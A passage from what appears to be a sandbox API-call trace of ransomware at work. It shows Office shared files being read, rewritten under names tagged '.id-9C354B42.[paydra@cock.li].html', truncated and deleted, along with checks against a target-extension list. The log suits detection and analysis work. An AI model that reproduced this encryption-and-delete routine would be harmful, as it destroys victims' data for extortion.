returned 1 [0050.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.552] GetLastError () returned 0x0 [0051.552] ReadFile (in: hFile=0x210, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0051.565] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0051.578] ReadFile (in: hFile=0x210, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.578] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.578] SetEndOfFile (hFile=0x1a8) returned 1 [0051.578] CloseHandle (hObject=0x1a8) returned 1 [0051.578] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.578] SetEndOfFile (hFile=0x210) returned 1 [0051.583] CloseHandle (hObject=0x210) returned 1 [0051.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.584] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.584] lstrlenW (lpString=".doc") returned 4 [0051.584] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0051.584] lstrlenW (lpString=".docx") returned 5 [0051.584] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0051.584] lstrlenW (lpString=".pdf") returned 4 [0051.584] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0051.584] lstrlenW (lpString=".xls") returned 4 [0051.584] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0051.584] lstrlenW (lpString=".xlsx") returned 5 [0051.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0051.584] lstrlenW (lpString=".ppt") returned 4 [0051.584] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.584] lstrlenW (lpString=".zip") returned 4 [0051.584] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0051.584] lstrlenW (lpString=".rar") returned 4 [0051.584] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0051.584] lstrlenW (lpString=".bz2") returned 4 [0051.585] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0051.585] lstrlenW (lpString=".7z") returned 3 [0051.585] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString=".dbf") returned 4 [0051.585] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString=".1cd") returned 4 [0051.585] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString=".jpg") returned 4 [0051.585] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString=".doc") returned 4 [0051.585] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0051.585] lstrlenW (lpString=".docx") returned 5 [0051.585] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0051.585] lstrlenW (lpString=".pdf") returned 4 [0051.585] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString=".xls") returned 4 [0051.585] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString=".xlsx") returned 5 [0051.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0051.585] lstrlenW (lpString=".ppt") returned 4 [0051.585] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.585] lstrlenW (lpString=".zip") returned 4 [0051.585] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString=".rar") returned 4 [0051.585] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0051.585] lstrlenW (lpString=".bz2") returned 4 [0051.586] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0051.586] lstrlenW (lpString=".7z") returned 3 [0051.586] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0051.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.586] lstrlenW (lpString=".dbf") returned 4 [0051.586] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0051.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.586] lstrlenW (lpString=".1cd") returned 4 [0051.586] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0051.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0051.586] lstrlenW (lpString=".jpg") returned 4 [0051.586] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0051.586] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0051.586] lstrlenW (lpString="offfiltx.dll") returned 12 [0051.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.781] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1486736) returned 1 [0051.781] CloseHandle (hObject=0x228) returned 1 [0051.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0051.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.781] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.781] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.781] GetLastError () returned 0x0 [0051.781] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.804] WriteFile (in: hFile=0x21c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.821] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0051.834] WriteFile (in: hFile=0x21c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0051.844] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.844] WriteFile (in: hFile=0x21c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.844] SetEndOfFile (hFile=0x21c) returned 1 [0051.845] CloseHandle (hObject=0x21c) returned 1 [0051.845] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.845] SetEndOfFile (hFile=0x228) returned 1 [0051.848] CloseHandle (hObject=0x228) returned 1 [0051.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString=".doc") returned 4 [0051.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString=".docx") returned 5 [0051.849] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0051.849] lstrlenW (lpString=".pdf") returned 4 [0051.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString=".xls") returned 4 [0051.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString=".xlsx") returned 5 [0051.849] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0051.849] lstrlenW (lpString=".ppt") returned 4 [0051.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString=".zip") returned 4 [0051.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString=".rar") returned 4 [0051.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.849] lstrlenW (lpString=".bz2") returned 4 [0051.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.849] lstrlenW (lpString=".7z") returned 3 [0051.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString=".dbf") returned 4 [0051.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString=".1cd") returned 4 [0051.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.849] lstrlenW (lpString=".jpg") returned 4 [0051.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString=".doc") returned 4 [0051.850] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".docx") returned 5 [0051.850] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0051.850] lstrlenW (lpString=".pdf") returned 4 [0051.850] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".xls") returned 4 [0051.850] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".xlsx") returned 5 [0051.850] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0051.850] lstrlenW (lpString=".ppt") returned 4 [0051.850] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString=".zip") returned 4 [0051.850] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".rar") returned 4 [0051.850] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".bz2") returned 4 [0051.850] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.850] lstrlenW (lpString=".7z") returned 3 [0051.850] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString=".dbf") returned 4 [0051.850] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString=".1cd") returned 4 [0051.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0051.850] lstrlenW (lpString=".jpg") returned 4 [0051.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.851] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0051.851] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0051.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.851] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=323936) returned 1 [0051.851] CloseHandle (hObject=0x228) returned 1 [0051.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0051.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.852] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.852] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.852] GetLastError () returned 0x0 [0051.852] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0052.216] WriteFile (in: hFile=0x21c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0052.221] ReadFile (in: hFile=0x228, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.221] WriteFile (in: hFile=0x21c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.221] SetEndOfFile (hFile=0x21c) returned 1 [0052.221] CloseHandle (hObject=0x21c) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.221] SetEndOfFile (hFile=0x228) returned 1 [0052.224] CloseHandle (hObject=0x228) returned 1 [0052.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.224] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString=".doc") returned 4 [0052.225] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.225] lstrlenW (lpString=".docx") returned 5 [0052.225] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.225] lstrlenW (lpString=".pdf") returned 4 [0052.225] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.225] lstrlenW (lpString=".xls") returned 4 [0052.225] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.225] lstrlenW (lpString=".xlsx") returned 5 [0052.225] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.225] lstrlenW (lpString=".ppt") returned 4 [0052.225] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString=".zip") returned 4 [0052.225] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.225] lstrlenW (lpString=".rar") returned 4 [0052.225] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.225] lstrlenW (lpString=".bz2") returned 4 [0052.225] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.225] lstrlenW (lpString=".7z") returned 3 [0052.225] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString=".dbf") returned 4 [0052.225] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString=".1cd") returned 4 [0052.225] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.225] lstrlenW (lpString=".jpg") returned 4 [0052.225] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString=".doc") returned 4 [0052.226] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.226] lstrlenW (lpString=".docx") returned 5 [0052.226] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.226] lstrlenW (lpString=".pdf") returned 4 [0052.226] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString=".xls") returned 4 [0052.226] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString=".xlsx") returned 5 [0052.226] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.226] lstrlenW (lpString=".ppt") returned 4 [0052.226] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString=".zip") returned 4 [0052.226] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString=".rar") returned 4 [0052.226] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.226] lstrlenW (lpString=".bz2") returned 4 [0052.226] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.226] lstrlenW (lpString=".7z") returned 3 [0052.226] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString=".dbf") returned 4 [0052.226] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString=".1cd") returned 4 [0052.226] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0052.226] lstrlenW (lpString=".jpg") returned 4 [0052.226] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.226] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0052.227] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0052.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.160] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=320384) returned 1 [0054.160] CloseHandle (hObject=0x22c) returned 1 [0054.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0054.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.160] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.160] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0054.395] GetLastError () returned 0x0 [0054.395] ReadFile (in: hFile=0x22c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, 